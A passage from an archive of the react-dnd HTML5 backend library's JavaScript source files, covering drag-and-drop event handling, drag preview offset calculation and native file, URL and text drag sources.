node.setAttribute('draggable', 'true'); node.addEventListener('dragstart', handleDragStart); node.addEventListener('selectstart', handleSelectStart); return function () { _this3.sourceNodes.delete(sourceId); _this3.sourceNodeOptions.delete(sourceId); node.removeEventListener('dragstart', handleDragStart); node.removeEventListener('selectstart', handleSelectStart); node.setAttribute('draggable', 'false'); }; } }, { key: "connectDropTarget", value: function connectDropTarget(targetId, node) { var _this4 = this; var handleDragEnter = function handleDragEnter(e) { return _this4.handleDragEnter(e, targetId); }; var handleDragOver = function handleDragOver(e) { return _this4.handleDragOver(e, targetId); }; var handleDrop = function handleDrop(e) { return _this4.handleDrop(e, targetId); }; node.addEventListener('dragenter', handleDragEnter); node.addEventListener('dragover', handleDragOver); node.addEventListener('drop', handleDrop); return function () { node.removeEventListener('dragenter', handleDragEnter); node.removeEventListener('dragover', handleDragOver); node.removeEventListener('drop', handleDrop); }; } }, { key: "addEventListeners", value: function addEventListeners(target) { // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813 if (!target.addEventListener) { return; } target.addEventListener('dragstart', this.handleTopDragStart); target.addEventListener('dragstart', this.handleTopDragStartCapture, true); target.addEventListener('dragend', this.handleTopDragEndCapture, true); target.addEventListener('dragenter', this.handleTopDragEnter); target.addEventListener('dragenter', this.handleTopDragEnterCapture, true); target.addEventListener('dragleave', this.handleTopDragLeaveCapture, true); target.addEventListener('dragover', this.handleTopDragOver); target.addEventListener('dragover', this.handleTopDragOverCapture, true); target.addEventListener('drop', this.handleTopDrop); target.addEventListener('drop', this.handleTopDropCapture, true); } }, { key: "removeEventListeners", value: function removeEventListeners(target) { // SSR Fix (https://github.com/react-dnd/react-dnd/pull/813 if (!target.removeEventListener) { return; } target.removeEventListener('dragstart', this.handleTopDragStart); target.removeEventListener('dragstart', this.handleTopDragStartCapture, true); target.removeEventListener('dragend', this.handleTopDragEndCapture, true); target.removeEventListener('dragenter', this.handleTopDragEnter); target.removeEventListener('dragenter', this.handleTopDragEnterCapture, true); target.removeEventListener('dragleave', this.handleTopDragLeaveCapture, true); target.removeEventListener('dragover', this.handleTopDragOver); target.removeEventListener('dragover', this.handleTopDragOverCapture, true); target.removeEventListener('drop', this.handleTopDrop); target.removeEventListener('drop', this.handleTopDropCapture, true); } }, { key: "getCurrentSourceNodeOptions", value: function getCurrentSourceNodeOptions() { var sourceId = this.monitor.getSourceId(); var sourceNodeOptions = this.sourceNodeOptions.get(sourceId); return _objectSpread({ dropEffect: this.altKeyPressed ? 'copy' : 'move' }, sourceNodeOptions || {}); } }, { key: "getCurrentDropEffect", value: function getCurrentDropEffect() { if (this.isDraggingNativeItem()) { // It makes more sense to default to 'copy' for native resources return 'copy'; } return this.getCurrentSourceNodeOptions().dropEffect; } }, { key: "getCurrentSourcePreviewNodeOptions", value: function getCurrentSourcePreviewNodeOptions() { var sourceId = this.monitor.getSourceId(); var sourcePreviewNodeOptions = this.sourcePreviewNodeOptions.get(sourceId); return _objectSpread({ anchorX: 0.5, anchorY: 0.5, captureDraggingState: false }, sourcePreviewNodeOptions || {}); } }, { key: "isDraggingNativeItem", value: function isDraggingNativeItem() { var itemType = this.monitor.getItemType(); return Object.keys(NativeTypes).some(function (key) { return NativeTypes[key] === itemType; }); } }, { key: "beginDragNativeItem", value: function beginDragNativeItem(type, dataTransfer) { this.clearCurrentDragSourceNode(); this.currentNativeSource = (0, _NativeDragSources.createNativeDragSource)(type, dataTransfer); this.currentNativeHandle = this.registry.addSource(type, this.currentNativeSource); this.actions.beginDrag([this.currentNativeHandle]); } }, { key: "setCurrentDragSourceNode", value: function setCurrentDragSourceNode(node) { var _this5 = this; this.clearCurrentDragSourceNode(); this.currentDragSourceNode = node; // A timeout of > 0 is necessary to resolve Firefox issue referenced // See: // * https://github.com/react-dnd/react-dnd/pull/928 // * https://github.com/react-dnd/react-dnd/issues/869 var MOUSE_MOVE_TIMEOUT = 1000; // Receiving a mouse event in the middle of a dragging operation // means it has ended and the drag source node disappeared from DOM, // so the browser didn't dispatch the dragend event. // // We need to wait before we start listening for mousemove events. // This is needed because the drag preview needs to be drawn or else it fires an 'mousemove' event // immediately in some browsers. // // See: // * https://github.com/react-dnd/react-dnd/pull/928 // * https://github.com/react-dnd/react-dnd/issues/869 // this.mouseMoveTimeoutTimer = setTimeout(function () { return _this5.window && _this5.window.addEventListener('mousemove', _this5.endDragIfSourceWasRemovedFromDOM, true); }, MOUSE_MOVE_TIMEOUT); } }, { key: "clearCurrentDragSourceNode", value: function clearCurrentDragSourceNode() { if (this.currentDragSourceNode) { this.currentDragSourceNode = null; if (this.window) { this.window.clearTimeout(this.mouseMoveTimeoutTimer || undefined); this.window.removeEventListener('mousemove', this.endDragIfSourceWasRemovedFromDOM, true); } this.mouseMoveTimeoutTimer = null; return true; } return false; } }, { key: "handleDragStart", value: function handleDragStart(e, sourceId) { if (e.defaultPrevented) { return; } if (!this.dragStartSourceIds) { this.dragStartSourceIds = []; } this.dragStartSourceIds.unshift(sourceId); } }, { key: "handleDragEnter", value: function handleDragEnter(e, targetId) { this.dragEnterTargetIds.unshift(targetId); } }, { key: "handleDragOver", value: function handleDragOver(e, targetId) { if (this.dragOverTargetIds === null) { this.dragOverTargetIds = []; } this.dragOverTargetIds.unshift(targetId); } }, { key: "handleDrop", value: function handleDrop(e, targetId) { this.dropTargetIds.unshift(targetId); } }, { key: "window", get: function get() { return this.options.window; } }, { key: "document", get: function get() { return this.options.document; } }]); return HTML5BackendImpl; }(); exports.HTML5BackendImpl = HTML5BackendImpl;cjs/index.js000064400000005246151677252760007021 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); var _exportNames = {}; var _asapJs = _interopRequireWildcard(require("./asap.js")); Object.keys(_asapJs).forEach(function(key) { if (key === "default" || key === "__esModule") return; if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return; if (key in exports && exports[key] === _asapJs[key]) return; Object.defineProperty(exports, key, { enumerable: true, get: function() { return _asapJs[key]; } }); }); var _typesJs = _interopRequireWildcard(require("./types.js")); Object.keys(_typesJs).forEach(function(key) { if (key === "default" || key === "__esModule") return; if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return; if (key in exports && exports[key] === _typesJs[key]) return; Object.defineProperty(exports, key, { enumerable: true, get: function() { return _typesJs[key]; } }); }); var _asapQueueJs = _interopRequireWildcard(require("./AsapQueue.js")); Object.keys(_asapQueueJs).forEach(function(key) { if (key === "default" || key === "__esModule") return; if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return; if (key in exports && exports[key] === _asapQueueJs[key]) return; Object.defineProperty(exports, key, { enumerable: true, get: function() { return _asapQueueJs[key]; } }); }); var _taskFactoryJs = _interopRequireWildcard(require("./TaskFactory.js")); Object.keys(_taskFactoryJs).forEach(function(key) { if (key === "default" || key === "__esModule") return; if (Object.prototype.hasOwnProperty.call(_exportNames, key)) return; if (key in exports && exports[key] === _taskFactoryJs[key]) return; Object.defineProperty(exports, key, { enumerable: true, get: function() { return _taskFactoryJs[key]; } }); }); function _interopRequireWildcard(obj) { if (obj && obj.__esModule) { return obj; } else { var newObj = {}; if (obj != null) { for(var key in obj){ if (Object.prototype.hasOwnProperty.call(obj, key)) { var desc = Object.defineProperty && Object.getOwnPropertyDescriptor ? Object.getOwnPropertyDescriptor(obj, key) : {}; if (desc.get || desc.set) { Object.defineProperty(newObj, key, desc); } else { newObj[key] = obj[key]; } } } } newObj.default = obj; return newObj; } } //# sourceMappingURL=index.js.mapcjs/OffsetUtils.js000064400000010044151677252760010151 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.getNodeClientOffset = getNodeClientOffset; exports.getEventClientOffset = getEventClientOffset; exports.getDragPreviewOffset = getDragPreviewOffset; var _BrowserDetector = require("./BrowserDetector"); var _MonotonicInterpolant = require("./MonotonicInterpolant"); var ELEMENT_NODE = 1; function getNodeClientOffset(node) { var el = node.nodeType === ELEMENT_NODE ? node : node.parentElement; if (!el) { return null; } var _el$getBoundingClient = el.getBoundingClientRect(), top = _el$getBoundingClient.top, left = _el$getBoundingClient.left; return { x: left, y: top }; } function getEventClientOffset(e) { return { x: e.clientX, y: e.clientY }; } function isImageNode(node) { var _document$documentEle; return node.nodeName === 'IMG' && ((0, _BrowserDetector.isFirefox)() || !((_document$documentEle = document.documentElement) === null || _document$documentEle === void 0 ? void 0 : _document$documentEle.contains(node))); } function getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight) { var dragPreviewWidth = isImage ? dragPreview.width : sourceWidth; var dragPreviewHeight = isImage ? dragPreview.height : sourceHeight; // Work around @2x coordinate discrepancies in browsers if ((0, _BrowserDetector.isSafari)() && isImage) { dragPreviewHeight /= window.devicePixelRatio; dragPreviewWidth /= window.devicePixelRatio; } return { dragPreviewWidth: dragPreviewWidth, dragPreviewHeight: dragPreviewHeight }; } function getDragPreviewOffset(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint) { // The browsers will use the image intrinsic size under different conditions. // Firefox only cares if it's an image, but WebKit also wants it to be detached. var isImage = isImageNode(dragPreview); var dragPreviewNode = isImage ? sourceNode : dragPreview; var dragPreviewNodeOffsetFromClient = getNodeClientOffset(dragPreviewNode); var offsetFromDragPreview = { x: clientOffset.x - dragPreviewNodeOffsetFromClient.x, y: clientOffset.y - dragPreviewNodeOffsetFromClient.y }; var sourceWidth = sourceNode.offsetWidth, sourceHeight = sourceNode.offsetHeight; var anchorX = anchorPoint.anchorX, anchorY = anchorPoint.anchorY; var _getDragPreviewSize = getDragPreviewSize(isImage, dragPreview, sourceWidth, sourceHeight), dragPreviewWidth = _getDragPreviewSize.dragPreviewWidth, dragPreviewHeight = _getDragPreviewSize.dragPreviewHeight; var calculateYOffset = function calculateYOffset() { var interpolantY = new _MonotonicInterpolant.MonotonicInterpolant([0, 0.5, 1], [// Dock to the top offsetFromDragPreview.y, // Align at the center offsetFromDragPreview.y / sourceHeight * dragPreviewHeight, // Dock to the bottom offsetFromDragPreview.y + dragPreviewHeight - sourceHeight]); var y = interpolantY.interpolate(anchorY); // Work around Safari 8 positioning bug if ((0, _BrowserDetector.isSafari)() && isImage) { // We'll have to wait for @3x to see if this is entirely correct y += (window.devicePixelRatio - 1) * dragPreviewHeight; } return y; }; var calculateXOffset = function calculateXOffset() { // Interpolate coordinates depending on anchor point // If you know a simpler way to do this, let me know var interpolantX = new _MonotonicInterpolant.MonotonicInterpolant([0, 0.5, 1], [// Dock to the left offsetFromDragPreview.x, // Align at the center offsetFromDragPreview.x / sourceWidth * dragPreviewWidth, // Dock to the right offsetFromDragPreview.x + dragPreviewWidth - sourceWidth]); return interpolantX.interpolate(anchorX); }; // Force offsets if specified in the options. var offsetX = offsetPoint.offsetX, offsetY = offsetPoint.offsetY; var isManualOffsetX = offsetX === 0 || offsetX; var isManualOffsetY = offsetY === 0 || offsetY; return { x: isManualOffsetX ? offsetX : calculateXOffset(), y: isManualOffsetY ? offsetY : calculateYOffset() }; }cjs/getEmptyImage.js000064400000000524151677252760010445 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.getEmptyImage = getEmptyImage; var emptyImage; function getEmptyImage() { if (!emptyImage) { emptyImage = new Image(); emptyImage.src = 'data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw=='; } return emptyImage; }cjs/NativeTypes.js000064400000000430151677252760010153 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.TEXT = exports.URL = exports.FILE = void 0; var FILE = '__NATIVE_FILE__'; exports.FILE = FILE; var URL = '__NATIVE_URL__'; exports.URL = URL; var TEXT = '__NATIVE_TEXT__'; exports.TEXT = TEXT;cjs/MonotonicInterpolant.js000064400000006702151677252760012075 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.MonotonicInterpolant = void 0; function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } var MonotonicInterpolant = /*#__PURE__*/function () { function MonotonicInterpolant(xs, ys) { _classCallCheck(this, MonotonicInterpolant); var length = xs.length; // Rearrange xs and ys so that xs is sorted var indexes = []; for (var i = 0; i < length; i++) { indexes.push(i); } indexes.sort(function (a, b) { return xs[a] < xs[b] ? -1 : 1; }); // Get consecutive differences and slopes var dys = []; var dxs = []; var ms = []; var dx; var dy; for (var _i = 0; _i < length - 1; _i++) { dx = xs[_i + 1] - xs[_i]; dy = ys[_i + 1] - ys[_i]; dxs.push(dx); dys.push(dy); ms.push(dy / dx); } // Get degree-1 coefficients var c1s = [ms[0]]; for (var _i2 = 0; _i2 < dxs.length - 1; _i2++) { var m2 = ms[_i2]; var mNext = ms[_i2 + 1]; if (m2 * mNext <= 0) { c1s.push(0); } else { dx = dxs[_i2]; var dxNext = dxs[_i2 + 1]; var common = dx + dxNext; c1s.push(3 * common / ((common + dxNext) / m2 + (common + dx) / mNext)); } } c1s.push(ms[ms.length - 1]); // Get degree-2 and degree-3 coefficients var c2s = []; var c3s = []; var m; for (var _i3 = 0; _i3 < c1s.length - 1; _i3++) { m = ms[_i3]; var c1 = c1s[_i3]; var invDx = 1 / dxs[_i3]; var _common = c1 + c1s[_i3 + 1] - m - m; c2s.push((m - c1 - _common) * invDx); c3s.push(_common * invDx * invDx); } this.xs = xs; this.ys = ys; this.c1s = c1s; this.c2s = c2s; this.c3s = c3s; } _createClass(MonotonicInterpolant, [{ key: "interpolate", value: function interpolate(x) { var xs = this.xs, ys = this.ys, c1s = this.c1s, c2s = this.c2s, c3s = this.c3s; // The rightmost point in the dataset should give an exact result var i = xs.length - 1; if (x === xs[i]) { return ys[i]; } // Search for the interval x is in, returning the corresponding y if x is one of the original xs var low = 0; var high = c3s.length - 1; var mid; while (low <= high) { mid = Math.floor(0.5 * (low + high)); var xHere = xs[mid]; if (xHere < x) { low = mid + 1; } else if (xHere > x) { high = mid - 1; } else { return ys[mid]; } } i = Math.max(0, high); // Interpolate var diff = x - xs[i]; var diffSq = diff * diff; return ys[i] + c1s[i] * diff + c2s[i] * diffSq + c3s[i] * diff * diffSq; } }]); return MonotonicInterpolant; }(); exports.MonotonicInterpolant = MonotonicInterpolant;cjs/BrowserDetector.js000064400000000652151677252760011023 0ustar00"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.isSafari = exports.isFirefox = void 0; var _js_utils = require("./utils/js_utils"); var isFirefox = (0, _js_utils.memoize)(function () { return /firefox/i.test(navigator.userAgent); }); exports.isFirefox = isFirefox; var isSafari = (0, _js_utils.memoize)(function () { return Boolean(window.safari); }); exports.isSafari = isSafari;esm/OptionsReader.js000064400000002453151677252760010472 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } export var OptionsReader = /*#__PURE__*/function () { function OptionsReader(globalContext) { _classCallCheck(this, OptionsReader); this.globalContext = globalContext; } _createClass(OptionsReader, [{ key: "window", get: function get() { if (this.globalContext) { return this.globalContext; } else if (typeof window !== 'undefined') { return window; } return undefined; } }, { key: "document", get: function get() { if (this.window) { return this.window.document; } return undefined; } }]); return OptionsReader; }();esm/NativeDragSources/getDataFromDataTransfer.js000064400000000416151677252760015775 0ustar00export function getDataFromDataTransfer(dataTransfer, typesToTry, defaultValue) { var result = typesToTry.reduce(function (resultSoFar, typeToTry) { return resultSoFar || dataTransfer.getData(typeToTry); }, ''); return result != null ? result : defaultValue; }esm/NativeDragSources/index.js000064400000001340151677252760012405 0ustar00import { nativeTypesConfig } from './nativeTypesConfig'; import { NativeDragSource } from './NativeDragSource'; export function createNativeDragSource(type, dataTransfer) { var result = new NativeDragSource(nativeTypesConfig[type]); result.loadDataTransfer(dataTransfer); return result; } export function matchNativeItemType(dataTransfer) { if (!dataTransfer) { return null; } var dataTransferTypes = Array.prototype.slice.call(dataTransfer.types || []); return Object.keys(nativeTypesConfig).filter(function (nativeItemType) { var matchesTypes = nativeTypesConfig[nativeItemType].matchesTypes; return matchesTypes.some(function (t) { return dataTransferTypes.indexOf(t) > -1; }); })[0] || null; }esm/NativeDragSources/NativeDragSource.js000064400000004700151677252760014506 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } export var NativeDragSource = /*#__PURE__*/function () { function NativeDragSource(config) { _classCallCheck(this, NativeDragSource); this.config = config; this.item = {}; this.initializeExposedProperties(); } _createClass(NativeDragSource, [{ key: "initializeExposedProperties", value: function initializeExposedProperties() { var _this = this; Object.keys(this.config.exposeProperties).forEach(function (property) { Object.defineProperty(_this.item, property, { configurable: true, enumerable: true, get: function get() { // eslint-disable-next-line no-console console.warn("Browser doesn't allow reading \"".concat(property, "\" until the drop event.")); return null; } }); }); } }, { key: "loadDataTransfer", value: function loadDataTransfer(dataTransfer) { var _this2 = this; if (dataTransfer) { var newProperties = {}; Object.keys(this.config.exposeProperties).forEach(function (property) { newProperties[property] = { value: _this2.config.exposeProperties[property](dataTransfer, _this2.config.matchesTypes), configurable: true, enumerable: true }; }); Object.defineProperties(this.item, newProperties); } } }, { key: "canDrag", value: function canDrag() { return true; } }, { key: "beginDrag", value: function beginDrag() { return this.item; } }, { key: "isDragging", value: function isDragging(monitor, handle) { return handle === monitor.getSourceId(); } }, { key: "endDrag", value: function endDrag() {// empty } }]); return NativeDragSource; }();esm/NativeDragSources/nativeTypesConfig.js000064400000002352151677252760014743 0ustar00var _nativeTypesConfig; function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } import * as NativeTypes from '../NativeTypes'; import { getDataFromDataTransfer } from './getDataFromDataTransfer'; export var nativeTypesConfig = (_nativeTypesConfig = {}, _defineProperty(_nativeTypesConfig, NativeTypes.FILE, { exposeProperties: { files: function files(dataTransfer) { return Array.prototype.slice.call(dataTransfer.files); }, items: function items(dataTransfer) { return dataTransfer.items; } }, matchesTypes: ['Files'] }), _defineProperty(_nativeTypesConfig, NativeTypes.URL, { exposeProperties: { urls: function urls(dataTransfer, matchesTypes) { return getDataFromDataTransfer(dataTransfer, matchesTypes, '').split('\n'); } }, matchesTypes: ['Url', 'text/uri-list'] }), _defineProperty(_nativeTypesConfig, NativeTypes.TEXT, { exposeProperties: { text: function text(dataTransfer, matchesTypes) { return getDataFromDataTransfer(dataTransfer, matchesTypes, ''); } }, matchesTypes: ['Text', 'text/plain'] }), _nativeTypesConfig);esm/types.js000064400000000000151677252760007042 0ustar00esm/EnterLeaveCounter.js000064400000003467151677252760011314 0ustar00function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } import { union, without } from './utils/js_utils'; export var EnterLeaveCounter = /*#__PURE__*/function () { function EnterLeaveCounter(isNodeInDocument) { _classCallCheck(this, EnterLeaveCounter); this.entered = []; this.isNodeInDocument = isNodeInDocument; } _createClass(EnterLeaveCounter, [{ key: "enter", value: function enter(enteringNode) { var _this = this; var previousLength = this.entered.length; var isNodeEntered = function isNodeEntered(node) { return _this.isNodeInDocument(node) && (!node.contains || node.contains(enteringNode)); }; this.entered = union(this.entered.filter(isNodeEntered), [enteringNode]); return previousLength === 0 && this.entered.length > 0; } }, { key: "leave", value: function leave(leavingNode) { var previousLength = this.entered.length; this.entered = without(this.entered.filter(this.isNodeInDocument), leavingNode); return previousLength > 0 && this.entered.length === 0; } }, { key: "reset", value: function reset() { this.entered = []; } }]); return EnterLeaveCounter; }();esm/utils/js_utils.js000064400000001654151677252760010712 0ustar00function _typeof(obj) { "@babel/helpers - typeof"; if (typeof Symbol === "function" && typeof Symbol.iterator === "symbol") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; } return _typeof(obj); } // cheap lodash replacements export function isFunction(input) { return typeof input === 'function'; } export function noop() {// noop } function isObjectLike(input) { return _typeof(input) === 'object' && input !== null; } export function isPlainObject(input) { if (!isObjectLike(input)) { return false; } if (Object.getPrototypeOf(input) === null) { return true; } var proto = input; while (Object.getPrototypeOf(proto) !== null) { proto = Object.getPrototypeOf(proto); } return Object.getPrototypeOf(input) === proto; }esm/HTML5BackendImpl.js000064400000057174151677252760010651 0ustar00function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; } function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(Object(source), true).forEach(function (key) { _defineProperty(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(Object(source)).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; } function _defineProperty(obj, key, value) { if (key in obj) { Object.defineProperty(obj, key, { value: value, enumerable: true, configurable: true, writable: true }); } else { obj[key] = value; } return obj; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } } function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; } import { EnterLeaveCounter } from './EnterLeaveCounter'; import { isFirefox } from './BrowserDetector'; import { getNodeClientOffset, getEventClientOffset, getDragPreviewOffset } from './OffsetUtils'; import { createNativeDragSource, matchNativeItemType } from './NativeDragSources'; import * as NativeTypes from './NativeTypes'; import { OptionsReader } from './OptionsReader'; export var HTML5BackendImpl = /*#__PURE__*/function () { function HTML5BackendImpl(manager, globalContext) { var _this = this; _classCallCheck(this, HTML5BackendImpl); this.sourcePreviewNodes = new Map(); this.sourcePreviewNodeOptions = new Map(); this.sourceNodes = new Map(); this.sourceNodeOptions = new Map(); this.dragStartSourceIds = null; this.dropTargetIds = []; this.dragEnterTargetIds = []; this.currentNativeSource = null; this.currentNativeHandle = null; this.currentDragSourceNode = null; this.altKeyPressed = false; this.mouseMoveTimeoutTimer = null; this.asyncEndDragFrameId = null; this.dragOverTargetIds = null; this.getSourceClientOffset = function (sourceId) { var source = _this.sourceNodes.get(sourceId); return source && getNodeClientOffset(source) || null; }; this.endDragNativeItem = function () { if (!_this.isDraggingNativeItem()) { return; } _this.actions.endDrag(); if (_this.currentNativeHandle) { _this.registry.removeSource(_this.currentNativeHandle); } _this.currentNativeHandle = null; _this.currentNativeSource = null; }; this.isNodeInDocument = function (node) { // Check the node either in the main document or in the current context return Boolean(node && _this.document && _this.document.body && document.body.contains(node)); }; this.endDragIfSourceWasRemovedFromDOM = function () { var node = _this.currentDragSourceNode; if (_this.isNodeInDocument(node)) { return; } if (_this.clearCurrentDragSourceNode()) { _this.actions.endDrag(); } }; this.handleTopDragStartCapture = function () { _this.clearCurrentDragSourceNode(); _this.dragStartSourceIds = []; }; this.handleTopDragStart = function (e) { if (e.defaultPrevented) { return; } var dragStartSourceIds = _this.dragStartSourceIds; _this.dragStartSourceIds = null; var clientOffset = getEventClientOffset(e); // Avoid crashing if we missed a drop event or our previous drag died if (_this.monitor.isDragging()) { _this.actions.endDrag(); } // Don't publish the source just yet (see why below) _this.actions.beginDrag(dragStartSourceIds || [], { publishSource: false, getSourceClientOffset: _this.getSourceClientOffset, clientOffset: clientOffset }); var dataTransfer = e.dataTransfer; var nativeType = matchNativeItemType(dataTransfer); if (_this.monitor.isDragging()) { if (dataTransfer && typeof dataTransfer.setDragImage === 'function') { // Use custom drag image if user specifies it. // If child drag source refuses drag but parent agrees, // use parent's node as drag image. Neither works in IE though. var sourceId = _this.monitor.getSourceId(); var sourceNode = _this.sourceNodes.get(sourceId); var dragPreview = _this.sourcePreviewNodes.get(sourceId) || sourceNode; if (dragPreview) { var _this$getCurrentSourc = _this.getCurrentSourcePreviewNodeOptions(), anchorX = _this$getCurrentSourc.anchorX, anchorY = _this$getCurrentSourc.anchorY, offsetX = _this$getCurrentSourc.offsetX, offsetY = _this$getCurrentSourc.offsetY; var anchorPoint = { anchorX: anchorX, anchorY: anchorY }; var offsetPoint = { offsetX: offsetX, offsetY: offsetY }; var dragPreviewOffset = getDragPreviewOffset(sourceNode, dragPreview, clientOffset, anchorPoint, offsetPoint); dataTransfer.setDragImage(dragPreview, dragPreviewOffset.x, dragPreviewOffset.y); } } try { // Firefox won't drag without setting data dataTransfer === null || dataTransfer === void 0 ? void 0 : dataTransfer.setData('application/json', {}); } catch (err) {} // IE doesn't support MIME types in setData // Store drag source node so we can check whether // it is removed from DOM and trigger endDrag manually. _this.setCurrentDragSourceNode(e.target); // Now we are ready to publish the drag source.. or are we not? var _this$getCurrentSourc2 = _this.getCurrentSourcePreviewNodeOptions(), captureDraggingState = _this$getCurrentSourc2.captureDraggingState; if (!captureDraggingState) { // Usually we want to publish it in the next tick so that browser // is able to screenshot the current (not yet dragging) state. // // It also neatly avoids a situation where render() returns null // in the same tick for the source element, and browser freaks out. setTimeout(function () { return _this.actions.publishDragSource(); }, 0); } else { // In some cases the user may want to override this behavior, e.g. // to work around IE not supporting custom drag previews. // // When using a custom drag layer, the only way to prevent // the default drag preview from drawing in IE is to screenshot // the dragging state in which the node itself has zero opacity // and height. In this case, though, returning null from render() // will abruptly end the dragging, which is not obvious. // // This is the reason such behavior is strictly opt-in. _this.actions.publishDragSource(); } } else if (nativeType) { // A native item (such as URL) dragged from inside the document _this.beginDragNativeItem(nativeType); } else if (dataTransfer && !dataTransfer.types && (e.target && !e.target.hasAttribute || !e.target.hasAttribute('draggable'))) { // Looks like a Safari bug: dataTransfer.types is null, but there was no draggable. // Just let it drag. It's a native type (URL or text) and will be picked up in // dragenter handler. return; } else { // If by this time no drag source reacted, tell browser not to drag. e.preventDefault(); } }; this.handleTopDragEndCapture = function () { if (_this.clearCurrentDragSourceNode()) { // Firefox can dispatch this event in an infinite loop // if dragend handler does something like showing an alert. // Only proceed if we have not handled it already. _this.actions.endDrag(); } }; this.handleTopDragEnterCapture = function (e) { _this.dragEnterTargetIds = []; var isFirstEnter = _this.enterLeaveCounter.enter(e.target); if (!isFirstEnter || _this.monitor.isDragging()) { return; } var dataTransfer = e.dataTransfer; var nativeType = matchNativeItemType(dataTransfer); if (nativeType) { // A native item (such as file or URL) dragged from outside the document _this.beginDragNativeItem(nativeType, dataTransfer); } }; this.handleTopDragEnter = function (e) { var dragEnterTargetIds = _this.dragEnterTargetIds; _this.dragEnterTargetIds = []; if (!_this.monitor.isDragging()) { // This is probably a native item type we don't understand. return; } _this.altKeyPressed = e.altKey; if (!isFirefox()) { // Don't emit hover in `dragenter` on Firefox due to an edge case. // If the target changes position as the result of `dragenter`, Firefox // will still happily dispatch `dragover` despite target being no longer // there. The easy solution is to only fire `hover` in `dragover` on FF. _this.actions.hover(dragEnterTargetIds, { clientOffset: getEventClientOffset(e) }); } var canDrop = dragEnterTargetIds.some(function (targetId) { return _this.monitor.canDropOnTarget(targetId); }); if (canDrop) { // IE requires this to fire dragover events e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = _this.getCurrentDropEffect(); } } }; this.handleTopDragOverCapture = function () { _this.dragOverTargetIds = []; }; this.handleTopDragOver = function (e) { var dragOverTargetIds = _this.dragOverTargetIds; _this.dragOverTargetIds = []; if (!_this.monitor.isDragging()) { // This is probably a native item type we don't understand. // Prevent default "drop and blow away the whole document" action. e.preventDefault(); if (e.dataTransfer) { e.dataTransfer.dropEffect = 'none'; } return; } _this.altKeyPressed = e.altKey; _this.actions.hover(dragOverTargetIds || [], { clientOffset: getEventClientOffset(e) }); var canDrop = (dragOverTargetIds || 